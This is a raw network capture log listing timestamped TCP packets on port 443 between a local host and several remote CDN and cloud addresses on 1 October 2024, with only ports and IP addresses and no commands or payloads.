Oct 1, 2024 15:08:26.272531986 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.272567987 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.272567987 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.296292067 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.296343088 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.296416044 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.296528101 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.296535969 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.296614885 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.296614885 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.297116041 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.297133923 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.297231913 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.297240019 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.297312021 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.298274994 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298293114 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298388004 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.298396111 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298430920 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.298460007 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.298825026 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298852921 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298911095 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298922062 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.298927069 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.298985958 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.339709997 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.339756012 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.339823008 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.339843035 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.339879036 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.339910030 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364388943 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364442110 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364533901 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364551067 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364562035 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364613056 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364613056 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364626884 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364665985 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364681005 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364686966 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364830971 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364835978 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364854097 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.364953041 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.364959955 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.365000963 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.365098953 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.365163088 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.365175962 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387370110 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387428999 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387473106 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.387490988 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387502909 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387526989 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.387603045 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.387605906 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387622118 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387660980 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387671947 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.387701988 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387727022 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.387732983 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387748957 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387787104 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387790918 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.387797117 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.387844086 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389115095 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389132023 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389206886 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389219999 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389271021 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389437914 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389457941 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389504910 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389519930 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389528990 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389539957 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389575958 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389588118 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389592886 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.389628887 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.389928102 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.390023947 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.390029907 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.390100956 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.430883884 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.430902004 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.431123972 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.431133986 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.431205034 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.456990957 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.457036972 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.457051992 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.457163095 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.457171917 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.457212925 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.457638025 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.457654953 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.457739115 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.457746983 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.480165005 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.480192900 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.480319977 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.480329037 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.480485916 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.480654955 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.480674982 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.480750084 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.480757952 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.481551886 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.481580019 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.481636047 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.481642008 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.481702089 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482099056 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482134104 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482191086 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482191086 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482198000 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482237101 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482301950 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482321024 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482326031 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482353926 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482409954 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.482487917 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482579947 CEST	49763	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.482593060 CEST	443	49763	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.485778093 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.485829115 CEST	443	49765	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.485927105 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.486284018 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.486313105 CEST	443	49765	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.575289965 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:26.575330973 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:26.575411081 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:26.576267004 CEST	49766	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:26.576282024 CEST	443	49766	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:26.583750010 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.583761930 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:26.583828926 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.583972931 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.584027052 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:26.584089994 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.584604979 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:26.584630966 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:26.584712029 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:26.585011959 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.585022926 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:26.585105896 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.585242033 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.585256100 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:26.585516930 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.585531950 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:26.585769892 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:26.585798979 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:26.585937977 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:26.585952997 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:26.602205038 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.602219105 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:26.602274895 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.602679014 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.602715015 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:26.602786064 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.602880955 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.602911949 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:26.602977037 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.603113890 CEST	49771	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.603127956 CEST	443	49771	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:26.603255033 CEST	49772	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.603276968 CEST	443	49772	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:26.603404045 CEST	49773	443	192.168.2.16	13.33.187.96
Oct 1, 2024 15:08:26.603418112 CEST	443	49773	13.33.187.96	192.168.2.16
Oct 1, 2024 15:08:26.674436092 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.674468994 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.674578905 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.675028086 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.675043106 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.943216085 CEST	443	49765	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.943850040 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.943886042 CEST	443	49765	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.944925070 CEST	443	49765	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.944998980 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.946266890 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.946290016 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.946331978 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.946347952 CEST	443	49765	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.946408033 CEST	49765	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.948421001 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.948465109 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:26.948544025 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.948765993 CEST	49776	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:26.948782921 CEST	443	49776	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.043343067 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.043658018 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.043690920 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.044765949 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.044851065 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.046015024 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.046078920 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.046211004 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.046221018 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.091029882 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.141683102 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.142074108 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.142364025 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.142391920 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.142494917 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.142560959 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.142574072 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.142611027 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.142641068 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.142663956 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.142673969 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.142728090 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.143445969 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.143511057 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.143868923 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.143934965 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.143935919 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144042015 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144052982 CEST	443	49774	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.144063950 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144100904 CEST	49774	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144475937 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144515991 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.144587994 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144835949 CEST	49777	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:27.144854069 CEST	443	49777	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:27.148572922 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.148688078 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.148757935 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.148758888 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.148771048 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.148817062 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.148835897 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.156162024 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.156270027 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.156280041 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.202043056 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.224874973 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.225286961 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.225311995 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.226905107 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.227015972 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.228037119 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.228116989 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.228226900 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.228235006 CEST	443	49768	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.229279995 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.229408026 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.229440928 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.229471922 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.229490042 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.229512930 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.229526997 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.230215073 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230246067 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230290890 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.230300903 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230365992 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.230783939 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230854988 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230887890 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230910063 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.230917931 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.230982065 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.230992079 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235364914 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235411882 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235444069 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235464096 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.235476971 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235496044 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.235852957 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235896111 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235939980 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.235946894 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235980034 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.235997915 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.236006975 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.236048937 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.236777067 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.245318890 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.245661974 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.245673895 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.246728897 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.246839046 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.247096062 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.247169018 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.247263908 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.247272015 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.258555889 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.258821964 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.258852005 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.260184050 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.260261059 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.260550022 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.260628939 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.260688066 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.281981945 CEST	49768	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.281985998 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.281997919 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.298470020 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.307430029 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.314023972 CEST	49767	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.314038992 CEST	443	49767	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.316185951 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.316229105 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.316262960 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.316272974 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.316289902 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.316348076 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.316348076 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.316401005 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.316741943 CEST	49769	443	192.168.2.16	151.101.65.229
Oct 1, 2024 15:08:27.316759109 CEST	443	49769	151.101.65.229	192.168.2.16
Oct 1, 2024 15:08:27.328397036 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.328438997 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.328525066 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.328757048 CEST	49778	443	192.168.2.16	151.101.193.229
Oct 1, 2024 15:08:27.328772068 CEST	443	49778	151.101.193.229	192.168.2.16
Oct 1, 2024 15:08:27.350272894 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.350353003 CEST	443	49770	13.107.246.45	192.168.2.16
Oct 1, 2024 15:08:27.350411892 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.351329088 CEST	49770	443	192.168.2.16	13.107.246.45
Oct 1, 2024 15:08:27.351349115 CEST	443	49770	13.107.246.45	192.168.2.16
